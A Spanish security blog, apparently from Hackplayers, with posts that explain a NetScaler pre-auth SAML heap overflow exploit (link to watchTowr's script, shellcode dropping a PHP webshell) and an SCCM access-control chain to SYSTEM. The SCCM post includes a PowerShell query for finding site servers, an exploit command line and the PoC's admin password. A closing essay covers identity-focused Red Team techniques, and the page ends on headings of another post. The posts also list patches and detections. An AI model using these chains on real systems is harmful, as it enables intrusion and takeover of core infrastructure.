Muchos análisis de vulnerabilidades terminan en: "hemos conseguido provocar un crash." Desde el punto de vista de exploit development eso puede ser solamente el primer 10% del trabajo. La pregunta importante es qué propiedades tiene esa corrupción. ¿Controlamos el offset? ¿Controlamos los datos? ¿Controlamos el destino? ¿Podemos repetir la corrupción? ¿Es determinista el layout? ¿Hay ASLR? ¿Hay PIE? ¿Hay NX? ¿Hay stack canaries? ¿Podemos encontrar un function pointer? ¿Existe una estructura interesante adyacente?

Ésas son las preguntas que convierten un crash en una investigación de explotación.

¿Por qué los appliances perimetrales son tan interesantes?

Aquí está probablemente la razón por la que este tipo de vulnerabilidad merece tanta atención.

Un servidor web comprometido puede darte acceso a una aplicación. Un appliance perimetral comprometido puede darte acceso a una pieza de infraestructura situada exactamente en el punto donde convergen:

Internet
   ↓
VPN
   ↓
Autenticación
   ↓
Aplicaciones internas
   ↓
Red corporativa

NetScaler no es simplemente otro servidor. Es infraestructura. Y por eso un RCE pre-auth en un appliance de este tipo tiene un perfil de riesgo muy diferente al de una vulnerabilidad equivalente en un sistema aislado.

Citrix, de hecho, recomienda instalar las versiones corregidas con carácter urgente y proporciona además mecanismos para comprobar si el appliance cumple las precondiciones de CVE-2026-8452.

¿Cómo comprobar si el appliance cumple la condición de explotación?

Éste es otro detalle importante.No todos los NetScaler están necesariamente expuestos a esta vulnerabilidad en las mismas condiciones. Citrix especifica para CVE-2026-8452 que el appliance debe estar configurado como:

AAA virtual server.
Gateway / VPN vServer.
ICA Proxy.
CVPN.
RDP Proxy.

El propio fabricante proporciona patrones de configuración para identificar estas condiciones. Para una auditoría defensiva, por tanto, no deberíamos quedarnos únicamente con: ¿Tengo una versión vulnerable? sino comprobar: ¿Tengo una versión vulnerable? + ¿Tengo la configuración afectada?

Esto es especialmente importante en grandes organizaciones donde puede haber decenas o cientos de appliances NetScaler.

Versiones afectadas y parche

Según el boletín de Citrix, las ramas afectadas incluyen:

14.1 < 14.1-72.61
13.1 < 13.1-63.18
14.1 FIPS < 14.1-72.61 FIPS
13.1 FIPS / NDcPP < 13.1-37.272

Las versiones corregidas indicadas por el fabricante son:

14.1-72.61 o posterior
13.1-63.18 o posterior
14.1-72.61 FIPS o posterior
13.1-37.272 o posterior para FIPS/NDcPP

Citrix también indica que las instalaciones de Secure Private Access Hybrid que utilicen NetScaler deben actualizarse.

En otras palabras: si tienes NetScaler expuesto y cumples las condiciones de explotación, no es el típico parche que dejaría para la siguiente ventana de mantenimiento.

El exploit

https://raw.githubusercontent.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452/refs/heads/main/watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py

El exploit de watchTowr encadena un heap overflow pre-auth en el procesamiento SAML con una serie de primitivas de explotación. Primero obtiene del propio flujo SAML el AuthnRequest y el AssertionConsumerService, y construye una SAMLResponse especialmente manipulada cuyo SignedInfo contiene un InclusiveNamespaces/PrefixList diseñado al milímetro. Ese PrefixList no solo provoca el overflow durante la canonicalización XML, sino que contiene valores de 64 bits colocados en offsets concretos para corromper estructuras/punteros del heap y conseguir una primitiva de escritura que termina sobrescribiendo un puntero de función.

A partir de ahí, el exploit redirige el flujo mediante un jmp rax hacia un shellcode fragmentado dentro del propio PrefixList: lay_sc() divide el shellcode en instrucciones y las distribuye por los huecos disponibles, conectándolos mediante JMP cortos. El shellcode modifica el tratamiento de varias señales para evitar que la recuperación del proceso interrumpa la explotación y después crea /var/vpn/theme/x.php, escribe un pequeño webshell PHP y lo deja disponible para ejecutar comandos mediante HTTP. Finalmente, el script espera a que NetScaler vuelva a responder y comprueba el resultado accediendo al webshell.

Referencias

CVE-2026-47301: de una simple elevación de privilegios en SCCM a ejecución como SYSTEM

2026-08-16T23:02:34.833+02:00

Hay vulnerabilidades que, vistas únicamente desde la descripción del CVE, parecen bastante menos interesantes de lo que realmente son.

Es el caso de CVE-2026-47301, una vulnerabilidad de improper access control en Microsoft Configuration Manager, el producto que muchos seguimos llamando por su antiguo nombre: SCCM. Microsoft la publicó el 14 de julio de 2026 con una puntuación CVSS 3.1 de 8.8, describiéndola como una elevación de privilegios que puede ser explotada por un atacante autorizado a través de la red.

Hasta aquí, nada especialmente revolucionario. El problema aparece cuando alguien se pone a mirar qué hay realmente detrás de ese "elevation of privilege". Y eso es precisamente lo interesante del trabajo publicado por Omri Baso, que ha desarrollado un PoC que encadena varios fallos de seguridad hasta convertir la vulnerabilidad en algo bastante más serio: ejecución de código con privilegios SYSTEM en el servidor primario de SCCM.

** Antes de entrar en materia conviene hacer una distinción. CVE-2026-47301 no está catalogada por Microsoft como una Remote Code Execution. La descripción oficial habla de una vulnerabilidad de control de acceso que permite a un atacante autorizado elevar privilegios sobre la red. Su vector CVSS es: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Es decir: explotación remota, baja complejidad, privilegios bajos y sin interacción del usuario, con impacto alto en confidencialidad, integridad y disponibilidad.

Pero una cosa es la clasificación del CVE y otra muy distinta lo que puede construirse alrededor de él.

El PoC publicado en GitHub demuestra precisamente esto: la primitiva proporcionada por la vulnerabilidad puede encadenarse con otras debilidades de Configuration Manager para terminar ejecutando código en el contexto de SYSTEM.

SCCM: un objetivo especialmente interesante

Configuration Manager es una pieza de infraestructura especialmente atractiva desde el punto de vista ofensivo.

En una organización grande puede tener acceso privilegiado a prácticamente todos los endpoints gestionados. El servidor primario, los Management Points, Distribution Points y demás componentes forman una infraestructura con una relación de confianza muy potente respecto a los equipos administrados.

Por eso comprometer el Primary Site Server no es simplemente comprometer "otro Windows Server". Es conseguir una posición desde la que potencialmente se puede influir sobre una infraestructura diseñada precisamente para administrar cientos o miles de máquinas.

Y ahí está una de las razones por las que este CVE merece más atención de la que podría sugerir inicialmente su etiqueta de EoP.

1. El punto de entrada: AdminService

Uno de los elementos centrales del PoC es AdminService, una API de Configuration Manager.

El código del exploit interactúa con endpoints relacionados con la subida de extensiones de consola, concretamente operaciones como UploadExtensionInChunks y UploadExtension.

Lo interesante es que el PoC diferencia dos caminos.

Uno de ellos requiere el control de acceso basado en RBAC, mientras que el investigador identifica una ruta de subida en chunks que puede utilizarse sin ese mismo requisito de RBAC.

En otras palabras, el problema no es simplemente "existe un endpoint". El problema es qué garantías de autorización se aplican realmente a cada camino que termina procesando el mismo tipo de contenido.

Este es un patrón que aparece constantemente en aplicaciones empresariales complejas: una función está correctamente protegida, pero existe otra ruta que termina llegando al mismo código con unas comprobaciones diferentes. Para un atacante, esas diferencias son oro.

2. El CAB como primitiva de escritura

La segunda pieza es especialmente interesante. El mecanismo acepta un archivo CAB que posteriormente es procesado por Configuration Manager.

El problema aparece cuando el nombre o la ruta de los archivos contenidos en ese CAB pueden utilizarse para escapar del directorio previsto durante la extracción.

En términos conceptuales:

Directorio esperado
        │
        ▼
  extracción CAB
        │
        ├── archivo legítimo
        │
        └── ../.. / ../.. / archivo controlado
                              │
                              ▼
                       ubicación inesperada

Eso convierte una funcionalidad aparentemente inocua —subir una extensión— en una primitiva de escritura arbitraria de archivos.

A partir de aquí podemos utilizar esa primitiva para colocar las DLL necesarias para la siguiente fase de la cadena. La PoC incluye además evil_RID500.cab, un payload específicamente preparado para demostrar el impacto posterior a la ejecución de código.

3. De escribir un archivo a ejecutar código

Aquí entra el clásico, pero todavía extremadamente efectivo, DLL hijacking.

El PoC utiliza una pareja de DLLs relacionada con adsource: adsource.dll y adsource_original.dll.

La segunda actúa como proxy para permitir que la DLL maliciosa intercepte la carga sin provocar el fallo del proceso original. El propio autor explica que esta técnica permite mantener operativo el servicio SMS_EXECUTIVE.

Esto es importante porque un DLL hijacking útil en un servidor no consiste simplemente en conseguir que Windows cargue "mi DLL".

Hay que conseguir que:

el proceso privilegiado encuentre nuestra DLL;
la cargue;
el proceso continúe funcionando;
y nuestro código se ejecute dentro de ese contexto.

En este caso, el contexto buscado es SYSTEM.

Y es aquí donde una simple vulnerabilidad de EoP empieza a parecerse bastante más a una RCE desde la perspectiva de un atacante.

4. Encontrar el Primary Site Server

Hay otro detalle interesante desde el punto de vista de Red Team. El PoC no depende de conocer previamente una ruta de instalación concreta de SCCM. El propio investigador indica que la técnica funciona independientemente de dónde esté instalado Configuration Manager, utilizando rutas relativas para alcanzar el directorio correspondiente.

El problema que queda es localizar el Primary Site Server. Y aquí entra Active Directory.

El repositorio explica que el nombre del servidor no tiene por qué estar publicado directamente en AD, pero que puede inferirse examinando los permisos sobre:

CN=System Management,CN=System

La idea es buscar cuentas de máquina con permisos elevados sobre ese contenedor y utilizar esa información para identificar los servidores de sitio.

La PoC propone utilizar PowerShell para consultar las identidades que disponen de permisos GenericAll o FullControl sobre dicho contenedor:

$root = [ADSI]"LDAP://RootDSE"
$configDN = "CN=System Management,CN=System," + $root.defaultNamingContext
$container = [ADSI]"LDAP://$configDN"

$container.ObjectSecurity.Access |
    Where-Object { $_.ActiveDirectoryRights -match "GenericAll|FullControl" } |
    Select-Object IdentityReference, ActiveDirectoryRights, AccessControlType |
    Format-Table -AutoSize

El resultado muestra las entidades que tienen esos permisos sobre el contenedor. Según el autor, las identidades que terminan en $ corresponden normalmente a cuentas de máquina de los Site Servers.

Es un detalle pequeño, pero bastante interesante desde la perspectiva de Red Team: no estamos descubriendo SCCM mediante un atributo explícito, sino deduciendo la infraestructura a partir de los permisos que Configuration Manager ha establecido en Active Directory.

Una vez tenemos el hostname del Primary Site Server, podemos ejecutar el exploit:

.\C1_AFW.exe write SCCM-CM01.basoss.local 'pwn.cab' .\evil.cab  --verbose

`evil_RID500.cab`: demostrando el impacto

El .cab que incluye el repo habilita la cuenta de Administrador con RID 500 si está deshabilitada, la renombra como `omrispy` y establece la contraseña `Xm#Poc-2026!Adm1n$Ok`. Además, registra los cambios realizados por el exploit y el nombre que tenía anteriormente la cuenta de Administrador con RID 500, de modo que sea posible revertir todos los cambios y dejar el sistema como estaba.
Los registros se guardan en `C:\POC.txt`, en el Primary Site Server afectado.
La carga de la DLL se produce cada 5 minutos, por lo que puede existir cierto retraso entre la ejecución del exploit y el momento en que se observan sus efectos. Este comportamiento fue observado utilizando `Procmon64.exe`.

La cadena completa

El trabajo de Baso resulta interesante porque no depende de una única vulnerabilidad mágica. La cadena combina varias piezas:

Broken access control → subida de CAB → path traversal → escritura arbitraria → DLL hijacking → SYSTEM

Es decir, el CVE proporciona una primitiva inicial que posteriormente puede combinarse con el comportamiento de varios componentes de Configuration Manager.

El repositorio lo describe explícitamente como una cadena que combina:

acceso incorrectamente protegido;
extracción de archivos CAB con posibilidad de path traversal;
escritura arbitraria de archivos;
DLL hijacking;
y finalmente ejecución como SYSTEM.

Esto es precisamente el tipo de explotación que muchas veces se pierde cuando miramos únicamente el número CVE.

Podemos resumir conceptualmente el ataque de esta manera:

Lo interesante no es tanto cada técnica individual como la composición. Ninguna de las piezas necesita ser espectacular. El resultado final sí lo es.

Imaginemos un Red Team que ya dispone de una cuenta corporativa normal. No estamos hablando necesariamente de Domain Admin. No estamos hablando de una vulnerabilidad pre-auth. Tenemos simplemente:

credenciales válidas + conectividad hacia la infraestructura SCCM + una instancia vulnerable.

El CVE está definido precisamente con privilegios requeridos bajos (PR:L) y vector de red (AV:N).

A partir de ahí, el atacante puede intentar convertir esa posición inicial en control sobre el servidor de Configuration Manager.

Y éste es un escenario especialmente peligroso porque SCCM representa una frontera de privilegios muy interesante.

Contramedidas

Microsoft ha publicado actualizaciones para las versiones afectadas.

La información disponible apunta a KB37864969 para Configuration Manager 2509 y KB38232642 para las ramas 2503/2603; Microsoft documenta específicamente KB38232642 como una actualización de seguridad que mejora la seguridad de Configuration Manager en el proceso de importación de extensiones de consola.

Además, Microsoft indica que para Configuration Manager 2509 la corrección está integrada en el segundo paquete acumulativo de actualizaciones, por lo que no es necesario instalar una revisión independiente fuera de banda.

Por tanto, la primera recomendación es bastante poco sexy, pero absolutamente necesaria: parchear SCCM.

Y no solamente el sistema operativo. Hay que comprobar específicamente la versión de Configuration Manager y el nivel de actualización aplicado al sitio.

Además, yo añadiría varias comprobaciones.

Primero, identificar todos los Primary Site Servers y comprobar su versión y nivel de parche.

Segundo, revisar quién tiene conectividad hacia los endpoints de AdminService y limitarla en la medida de lo posible.

Tercero, revisar las ACLs de los objetos de Configuration Manager en Active Directory, especialmente el contenedor System Management.

Cuarto, monitorizar cambios inesperados en los directorios de instalación de Configuration Manager y cargas anómalas de DLL.

Y quinto, investigar especialmente cualquier combinación de:

CAB upload
      +
unexpected file creation
      +
DLL load
      +
SMS_EXECUTIVE

No es necesario esperar a encontrar un exploit completo en un EDR para detectar que algo raro está ocurriendo.

Referencias:

Del endpoint a la identidad: las técnicas de Red Team que están tomando el relevo

2026-08-15T03:39:38.916+02:00

En el artículo anterior repasábamos diez técnicas de Red Team que, aunque muchas siguen siendo perfectamente válidas, ya no utilizaríamos como primera opción en una operación moderna. PowerShell, los bypasses genéricos de AMSI, rundll32, Kerberoasting indiscriminado, NTLM relay, macros o un Cobalt Strike prácticamente salido de fábrica tienen algo en común: nacieron en un escenario en el que el endpoint y Active Directory eran el centro de prácticamente todo.

Pero ese escenario ha cambiado.

Hoy una organización puede tener Active Directory on-premise, Entra ID, Microsoft 365, Azure, AWS, decenas o cientos de aplicaciones SaaS, dispositivos registrados en la nube, pipelines de CI/CD, identidades de aplicaciones, service principals, certificados, secretos y todo tipo de relaciones de confianza entre estos mundos. El usuario que tenemos delante puede autenticarse en el portátil corporativo, consultar el correo, acceder a GitHub, desplegar en Azure y utilizar varias aplicaciones SaaS con la misma identidad o con identidades estrechamente relacionadas.

Y esto cambia bastante la película.

Si antes conseguir una shell en un equipo era un paso fundamental de la operación, ahora puede que esa shell no nos sirva absolutamente para nada. Podemos tener ejecución local y seguir estando a kilómetros del objetivo. En cambio, una aplicación OAuth con permisos excesivos, una identidad de workload mal protegida o una relación de confianza entre Active Directory y Entra pueden proporcionarnos un camino mucho más interesante sin necesidad de ejecutar un payload especialmente sofisticado.

La evolución que estamos viendo no consiste tanto en sustituir una herramienta por otra como en cambiar el objeto que intentamos comprometer.

El Red Team empieza a mirar menos al proceso y más a la identidad.

1. Identity-First Red Team

Probablemente este sea el cambio más importante.

Durante mucho tiempo, una campaña de Red Team podía representarse de una manera bastante sencilla: encontrar una vulnerabilidad, conseguir un foothold, escalar privilegios, moverse lateralmente y acabar llegando a Domain Admin. Era un modelo muy orientado a máquinas y procesos.

Ahora podemos tener una situación bastante diferente. Tenemos un usuario comprometido, pero ese usuario no tiene por qué darnos una máquina interesante. Lo realmente importante es qué identidad representa, en qué aplicaciones está autorizada, qué grupos tiene, qué recursos puede utilizar y qué otras identidades puede alcanzar desde ahí.

La pregunta deja de ser "¿qué puedo ejecutar en este equipo?" y pasa a ser algo bastante más interesante: "¿qué puedo hacer siendo este usuario?".

Esta diferencia parece pequeña, pero cambia completamente la metodología. En un entorno moderno deberíamos prestar atención no solamente a usuarios y grupos, sino también a aplicaciones, service principals, managed identities, dispositivos, permisos delegados, permisos de aplicación, certificados, secretos y relaciones de confianza.

Y cuando empezamos a representar todo esto como un grafo aparecen caminos que no tienen absolutamente nada que ver con el clásico WORKSTATION → SERVER → DC.

Por ejemplo, un usuario aparentemente poco privilegiado puede tener acceso a una aplicación que dispone de determinados permisos sobre Microsoft Graph. Esa aplicación puede tener una identidad propia en el tenant, esa identidad puede tener acceso a determinados recursos y alguno de esos recursos puede contener credenciales o información que nos lleve al siguiente salto.

El camino puede ser perfectamente legítimo desde el punto de vista de cada componente. Lo interesante es la cadena.

Esta es precisamente la filosofía que hay detrás de los attack paths modernos: no buscar únicamente una vulnerabilidad crítica, sino descubrir cómo varias relaciones aparentemente inocuas pueden combinarse para terminar alcanzando un activo importante.

2. Entra ID ya no es "el Azure AD de antes"

Durante años, para muchos pentesters Entra ID era poco más que el sitio donde estaban los usuarios de Microsoft 365. Esto se ha quedado bastante corto.

Entra ID se ha convertido en una pieza fundamental del plano de identidad de muchas organizaciones y, por tanto, también en un objetivo de Red Team. Microsoft lo plantea como un sistema de identidad y control de acceso que se encuentra en el centro de numerosos servicios cloud y aplicaciones corporativas.

Además, la cantidad de objetos que encontramos allí es considerablemente mayor que la que solemos tener en un Active Directory tradicional. Tenemos usuarios y grupos, pero también aplicaciones, service principals, dispositivos, roles, managed identities y diferentes mecanismos de autenticación y autorización.

Y aquí aparece una diferencia importante respecto al AD tradicional: una aplicación puede ser una identidad.

Microsoft distingue entre el objeto de aplicación y el service principal que representa esa aplicación dentro de un tenant. Esto significa que cuando analizamos permisos no deberíamos mirar únicamente quién puede acceder a una aplicación, sino también qué puede hacer la aplicación y quién tiene capacidad para modificarla o administrarla. Esto abre una superficie de ataque enorme.

Una aplicación con permisos excesivos puede ser mucho más interesante que un usuario con una contraseña débil. Un service principal con privilegios innecesarios puede convertirse en un camino hacia recursos críticos. Y una identidad de aplicación olvidada, con un secreto que nadie ha rotado en años, puede ser precisamente el tipo de hallazgo que un Red Team debería buscar.

En otras palabras, el directorio ya no contiene solamente personas. Contiene máquinas, aplicaciones y servicios que también tienen identidad y privilegios.

3. OAuth: cuando no necesitas robar la contraseña

Uno de los cambios más interesantes es que cada vez resulta menos necesario pensar en términos de "robar una contraseña".

OAuth permite que una aplicación obtenga permisos para acceder a determinados recursos en nombre de un usuario o mediante su propia identidad. En Microsoft Entra encontramos permisos delegados y permisos de aplicación, y estos últimos son especialmente relevantes porque permiten que una aplicación acceda a recursos sin que exista necesariamente un usuario interactivo detrás.

Esto introduce una situación curiosa: el usuario puede autenticarse correctamente, MFA puede funcionar correctamente, el proveedor de identidad puede considerar que todo está bien y aun así podemos acabar concediendo a una aplicación más permisos de los que deberíamos.

El conocido consent phishing es un ejemplo bastante claro. En lugar de intentar obtener la contraseña del usuario, se intenta conseguir que éste conceda permisos a una aplicación controlada por el atacante. Microsoft documenta precisamente este escenario como una amenaza específica y proporciona mecanismos para revisar y revocar los permisos concedidos a aplicaciones. Para un Red Team esto cambia bastante el enfoque.

En lugar de buscar únicamente credenciales, merece la pena mirar quién puede registrar aplicaciones, quién puede conceder consentimiento, qué aplicaciones existen en el tenant, qué permisos tienen, quién aparece como propietario y qué secretos o certificados utilizan.

Y hay algo especialmente interesante: OAuth puede convertir una autenticación perfectamente legítima en un acceso perfectamente legítimo... hacia un recurso que no debería estar al alcance de esa aplicación.

Es decir, no se ha explotado Windows, no se ha hecho bypass de AMSI, no se ha lanzado Cobalt Strike. Simplemente se ha abusado de una relación de confianza. Y probablemente veremos mucho más de esto en los próximos años.

4. Cloud Attack Paths: el grafo es el nuevo mapa

Una de las cosas que más cambia cuando entramos en cloud es la forma de entender el movimiento lateral.

En un entorno tradicional estamos acostumbrados a pensar en máquinas: una IP lleva a un servidor, el servidor nos proporciona credenciales, esas credenciales permiten acceder a otra máquina y así sucesivamente.

En cloud, el concepto de "máquina" deja de ser suficiente. Un recurso puede tener asignada una identidad administrada, esa identidad puede disponer de un rol sobre otro recurso, ese recurso puede tener acceso a un secreto y ese secreto puede permitirnos autenticarnos como otra identidad.

Cada elemento por separado puede parecer poco interesante pero la combinación puede ser crítica.

Microsoft Defender for Cloud utiliza precisamente un Cloud Security Graph para representar recursos, permisos, conexiones, exposición y vulnerabilidades y encontrar caminos de ataque que permitan alcanzar recursos críticos. Desde el punto de vista ofensivo, la idea es tremendamente atractiva. En vez de preguntarnos: "¿Qué vulnerabilidad tiene este servidor Azure?" podemos preguntarnos: "¿Qué camino existe desde la identidad que tengo ahora hasta el recurso que realmente me interesa?"

Y esto nos lleva a escenarios como:

Web App
   ↓
Managed Identity
   ↓
Key Vault
   ↓
Secret
   ↓
Service Principal
   ↓
Azure Resource

Lo interesante no es necesariamente que exista una vulnerabilidad crítica en ninguno de esos componentes. Lo interesante es que todos confían entre sí. El ataque consiste en recorrer esa confianza.

5. SaaS: el movimiento lateral ya no necesita una red

Aquí es donde el concepto clásico de lateral movement empieza a quedarse un poco viejo.

Antes pensábamos en algo parecido a:

PC01 → PC02 → FILESERVER → SQL → DC

Ahora puede ser:

Microsoft 365 → GitHub → Jira → CI/CD → Azure → producción.

Y lo más divertido es que quizá esos sistemas ni siquiera estén en la misma red.

Las organizaciones utilizan cada vez más servicios SaaS y los conectan mediante SSO, OAuth, API tokens, aplicaciones y automatizaciones. El resultado es una enorme red de confianza que no aparece en un diagrama de red tradicional.

Un usuario puede tener acceso a GitHub y, al mismo tiempo, a Jira. Una integración puede tener acceso al repositorio y otra al pipeline. El pipeline puede disponer de una identidad con permisos sobre Azure. Y en algún punto puede existir un secreto que conecta dos mundos que, sobre el papel, parecían completamente separados.

Por eso, cuando comprometemos una cuenta SaaS durante un Red Team, la pregunta no debería ser simplemente: "¿Qué datos puedo robar aquí?" También deberíamos preguntarnos: "¿Qué otras identidades, aplicaciones, tokens o sistemas confían en esta cuenta?"

El movimiento lateral ya no necesita ser lateral. Puede ser de servicio en servicio.

6. AD CS: cuando la credencial es un certificado

Mientras en cloud aparecen nuevos tipos de identidad, en el mundo on-premise también tenemos tecnologías que merecen mucha más atención. Una de ellas es Active Directory Certificate Services.

AD CS permite emitir certificados utilizados para diferentes propósitos dentro de una organización. El problema aparece cuando las plantillas y permisos no están correctamente configurados. Algunas configuraciones permiten escenarios donde un usuario puede obtener certificados que representan identidades que no debería poder asumir.

Microsoft documenta, por ejemplo, el riesgo asociado a determinadas plantillas en las que el solicitante puede especificar información del Subject Alternative Name.

Aquí el cambio de mentalidad es importante: no estamos robando una contraseña, no estamos haciendo pass-the-hash, no estamos crackeando un ticket... Estamos aprovechando la confianza que el dominio deposita en su infraestructura de certificados. Y una vez más aparece el mismo patrón:

identidad → confianza → privilegio.

AD CS es especialmente interesante porque conecta perfectamente el Red Team clásico de Active Directory con el nuevo modelo basado en identidades. Es una de esas tecnologías que llevan años ahí, pero que adquieren una importancia enorme cuando dejamos de pensar exclusivamente en hashes y contraseñas.

7. Windows Hello for Business: atacar donde antes no había nada que robar

Otro cambio interesante llega precisamente de la evolución de la autenticación. Durante años, el atacante buscaba contraseñas, hashes, tickets o credenciales almacenadas. Pero si una organización adopta autenticación resistente al phishing y mecanismos basados en claves, algunas de esas oportunidades desaparecen.

Windows Hello for Business utiliza credenciales basadas en claves y vincula la autenticación al dispositivo, evitando depender de una contraseña reutilizable como principal secreto de autenticación.

Esto obliga al atacante a cambiar de mentalidad. Si antes podíamos pensar:

Usuario → contraseña → reutilización

ahora tenemos algo más parecido a:

Usuario
   +
Dispositivo
   +
Clave privada
   +
PIN / biometría
   ↓
Autenticación

Y de repente el dispositivo adquiere mucha más importancia. ¿Cómo se registra? ¿Dónde se protege la clave? ¿Qué ocurre durante el provisioning? ¿Qué modelo de confianza se está utilizando? ¿Qué sucede cuando se pierde el dispositivo? ¿Qué relaciones existen entre la identidad del usuario y la identidad del dispositivo?

Estas preguntas son mucho más interesantes que intentar encontrar otra manera de robar una contraseña que ya no existe.

La moraleja es bastante sencilla: cuando una defensa elimina una credencial, el Red Team tiene que buscar dónde se ha desplazado la confianza.

8. Device Identity: no eres solamente tú, también es desde dónde llegas

Y esto nos lleva directamente a la identidad del dispositivo.

En los entornos modernos ya no basta con saber quién está realizando una autenticación. También importa desde qué dispositivo, cuál es su estado, si está registrado, si está gestionado y, dependiendo de la política, si cumple determinados requisitos. Esto permite construir decisiones de acceso mucho más complejas.

Un usuario autenticado desde un dispositivo corporativo y gestionado puede recibir un tratamiento completamente diferente al mismo usuario desde un equipo desconocido. Para el Red Team esto significa que el dispositivo deja de ser simplemente "la máquina que tenemos delante". Forma parte del contexto de autenticación.

Y eso abre una superficie que merece ser investigada: dispositivos antiguos, registros huérfanos, procesos de enrolamiento, dispositivos híbridos, relaciones usuario-dispositivo, mecanismos de recuperación y, sobre todo, quién tiene capacidad para registrar o modificar esas identidades.

Es un cambio sutil, pero importante. La pregunta ya no es únicamente: "¿Quién eres?" También puede ser: "¿Desde dónde estás intentando demostrar que eres tú?"

9. Workload Identity: usuarios que no tienen nombre

Hay otro tipo de identidad que suele pasar bastante desapercibida: la identidad de las aplicaciones y workloads.

Un pipeline de CI/CD necesita autenticarse. Una aplicación necesita acceder a una base de datos. Un servicio necesita leer un secreto. Una automatización necesita desplegar recursos. Y todas esas cosas necesitan identidad.

El problema es que nadie se va de vacaciones, cambia de departamento o recuerda que tiene que rotar su contraseña. Son identidades que pueden permanecer años funcionando con permisos que fueron concedidos para resolver un problema puntual.

Microsoft engloba este tipo de identidades bajo el concepto de workload identities y destaca precisamente el riesgo que representan cuando acumulan credenciales y permisos excesivos. Para un Red Team esto es oro, porque una cuenta humana comprometida puede darnos acceso limitado, mientras que una identidad utilizada por un pipeline puede tener permisos para desplegar código, leer secretos o modificar infraestructura. Y volvemos al mismo patrón que estamos viendo en todo el artículo: la identidad que más poder tiene no tiene por qué ser una persona.

10. AD → Entra: probablemente el camino más interesante

Y si hay un escenario que resume perfectamente todo lo anterior es el híbrido. La mayoría de las grandes organizaciones no han abandonado Active Directory para pasar mágicamente a Entra ID. Conviven ambos.

Tenemos usuarios locales sincronizados con la nube, infraestructura de Microsoft Entra Connect, dispositivos híbridos, aplicaciones que todavía dependen de Kerberos y otras que utilizan OAuth, Microsoft Graph o tokens.

Y eso crea algo que desde el punto de vista ofensivo resulta especialmente interesante: un puente entre dos mundos de identidad.

Microsoft considera determinados componentes de la infraestructura de sincronización como sistemas críticos porque pueden afectar directamente a la relación entre Active Directory y Entra ID. Esto significa que comprometer el dominio local ya no tiene necesariamente como objetivo final conseguir Domain Admin. Puede ser simplemente el camino para conseguir influencia sobre la identidad cloud.

Y también funciona al revés. Una cuenta cloud comprometida puede proporcionar acceso a aplicaciones, secretos o recursos que permitan regresar posteriormente al entorno local. El antiguo concepto de perímetro desaparece un poco aquí.

Ya no tenemos: Internet -> Firewall -> AD

Tenemos algo mucho más parecido a:

              Active Directory
                    ↕
              sincronización
                    ↕
                 Entra ID
              ↙     ↓     ↘
          M365     Azure     SaaS
              ↘     ↓     ↙
             dispositivos
                    ↕
              identidades

Y precisamente por eso los ataques híbridos son tan interesantes: el atacante puede entrar por un lado y buscar el impacto en el otro.

Del arsenal de técnicas al mapa de confianza

Si juntamos todo esto aparece una conclusión bastante clara. El Red Team tradicional acumulaba técnicas. Teníamos un conjunto de herramientas y sabíamos qué hacer cuando conseguíamos determinadas posiciones: PowerShell, Mimikatz, Kerberoasting, NTLM relay, Cobalt Strike, DLLs, LOLBins...

El Red Team moderno necesita seguir conociendo todo eso, pero debe añadir otra capa. Necesita entender cómo se relacionan las identidades.

Porque una operación puede empezar con una cuenta de usuario y terminar con una aplicación. Puede comenzar en un endpoint y acabar en Azure. Puede empezar con un certificado y terminar en Entra. Puede comenzar con un SaaS aparentemente inocente y acabar en un pipeline de producción.

Y en muchos casos no necesitamos una técnica espectacular. Necesitamos encontrar la relación que alguien configuró y que permite que una identidad confíe demasiado en otra.

Ese es probablemente el cambio más importante:

Antes buscábamos la vulnerabilidad. Ahora buscamos el camino de ataque.
Antes queríamos una shell. Ahora queremos una identidad con capacidad de llegar al objetivo.
Antes el movimiento lateral significaba saltar entre máquinas. Ahora puede significar saltar entre identidades, aplicaciones, servicios y clouds.

¿Y qué debería aprender un Red Teamer?

La respuesta no es abandonar Active Directory ni dejar de aprender Windows. Al contrario. Kerberos, LDAP, AD CS, Windows internals, autenticación y las técnicas clásicas siguen siendo fundamentales. Lo que ocurre es que ahora hay que añadir otra dimensión.

Hay que entender Entra ID, OAuth, Microsoft Graph, service principals, managed identities, RBAC, Conditional Access, dispositivos, certificados, SaaS, CI/CD y las relaciones entre todo ello. Y, sobre todo, hay que aprender a pensar en términos de trust relationships.

Porque probablemente el operador más peligroso de los próximos años no será el que conozca el mayor número de bypasses de EDR. Será el que sea capaz de mirar un entorno y decir: "Este usuario confía en esta aplicación, esta aplicación confía en este recurso, este recurso puede obtener esta identidad y esta identidad tiene acceso a aquello."

Y entonces descubrir que, sin explotar ninguna vulnerabilidad especialmente llamativa, el camino completo hasta el objetivo ya estaba construido.

Conclusiones

Las técnicas clásicas no van a desaparecer. Seguiremos haciendo Kerberoasting cuando tenga sentido. Seguiremos utilizando PowerShell cuando sea la mejor herramienta. Seguiremos encontrando escenarios donde NTLM relay sea válido y donde un endpoint comprometido sea precisamente lo que necesitamos.

Pero cada vez será menos suficiente conocer únicamente las técnicas.

El Red Team está desplazando su foco desde el endpoint hacia la identidad, desde la ejecución hacia la autorización y desde las vulnerabilidades aisladas hacia los caminos de ataque.

Y esto tiene una consecuencia interesante: la operación puede ser mucho más silenciosa sin necesidad de hacer ninguna magia de evasión.

Si conseguimos que una aplicación nos entregue un token válido, que un service principal nos permita acceder a un recurso o que una relación de confianza nos lleve hasta una identidad privilegiada, no necesitamos necesariamente romper el sistema. Podemos simplemente conseguir que haga lo que fue diseñado para hacer. Solo que en nuestro beneficio.

En el próximo paso, el reto será precisamente combinar ambos mundos: AD + Entra + Cloud + SaaS + Device Identity y empezar a construir campañas donde el objetivo no sea "ser Domain Admin", sino demostrar cómo una identidad aparentemente poco privilegiada puede terminar afectando a un activo crítico.

~#hackplayers

Ciberataque en Francia: subieron a 50 °C los frigoríficos de más de 150 supermercados y obligaron a tirar toneladas de comida

De una interfaz expuesta al control del sistema

Primera fase: CVE-2025-41450 y el mecanismo oculto de autenticación

Segunda fase: CVE-2025-41451, de la administración web a la ejecución de comandos

Tercera fase: qué permitiría hacer el acceso al controlador

CVE-2025-41452: manipular Nginx y provocar una caída de la interfaz

La cadena de ataque, reconstruida como hipótesis

Qué evidencias confirmarían —o descartarían— esta hipótesis

Mitigación: cerrar la puerta de entrada y recuperar el control

El problema no es solo una vulnerabilidad

Fuentes técnicas

